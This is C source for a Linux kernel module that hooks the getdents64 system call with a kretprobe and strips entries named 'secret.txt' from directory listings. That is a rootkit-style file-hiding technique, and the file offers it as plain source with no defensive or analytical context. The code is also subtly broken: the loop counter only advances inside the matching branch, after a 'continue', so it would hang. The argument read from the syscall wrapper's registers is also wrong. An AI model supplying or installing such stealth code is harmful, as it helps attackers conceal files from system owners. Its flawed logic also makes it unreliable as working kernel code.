- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <linux/kprobes.h>
- #include <linux/slab.h>
- #include <linux/uaccess.h>
- #include <linux/dirent.h>
- #include <linux/sched.h>
- #include <linux/fs.h>
- #define FILE1 "secret.txt"
- MODULE_LICENSE("GPL");
- // Storage for syscall argument
- struct my_data {
- struct linux_dirent64 __user *dirent;
- unsigned long arg2; // size
- };
- static int entry_handler(struct kretprobe_instance *ri, struct pt_regs *regs) {
- struct my_data *data = (struct my_data *)ri->data;
- #if defined(__x86_64__)
- data->dirent = (struct linux_dirent64 __user *)regs->di;
- data->arg2 = regs->si;
- #else
- // Add support for other architectures if needed
- #endif
- return 0;
- }
- static int ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) {
- struct my_data *data = (struct my_data *)ri->data;
- long nread = regs->ax;
- long bpos = 0, new_nread = nread;
- char *kbuf;
- struct linux_dirent64 *d;
- if (nread <= 0 || !data->dirent)
- return 0;
- kbuf = kmalloc(nread, GFP_KERNEL);
- if (!kbuf)
- return 0;
- if (copy_from_user(kbuf, data->dirent, nread)) {
- kfree(kbuf);
- return 0;
- }
- while (bpos < new_nread) {
- d = (struct linux_dirent64 *)(kbuf + bpos);
- if (strncmp(d->d_name, FILE1, strlen(FILE1)) == 0) {
- memmove(kbuf + bpos, kbuf + bpos + d->d_reclen, new_nread - (bpos + d->d_reclen));
- new_nread -= d->d_reclen;
- continue;
- bpos += d->d_reclen;
- }
- if (copy_to_user(data->dirent, kbuf, new_nread)) {
- kfree(kbuf);
- return 0;
- }
- regs->ax = new_nread;
- kfree(kbuf);
- return 0;
- }
- static struct kretprobe my_kretprobe = {
- .kp.symbol_name = "__x64_sys_getdents64",
- .entry_handler = entry_handler,
- .handler = ret_handler,
- .data_size = sizeof(struct my_data),
- .maxactive = 20,
- };
- static int __init my_init(void) {
- int ret = register_kretprobe(&my_kretprobe);
- if (ret < 0) {
- pr_err("register_kretprobe failed, returned %d\n", ret);
- return ret;
- }
- pr_info("kretprobe registered\n");
- return 0;
- }
- static void __exit my_exit(void) {
- unregister_kretprobe(&my_kretprobe);
- pr_info("kretprobe unregistered\n");
- }
- module_init(my_init);
- module_exit(my_exit);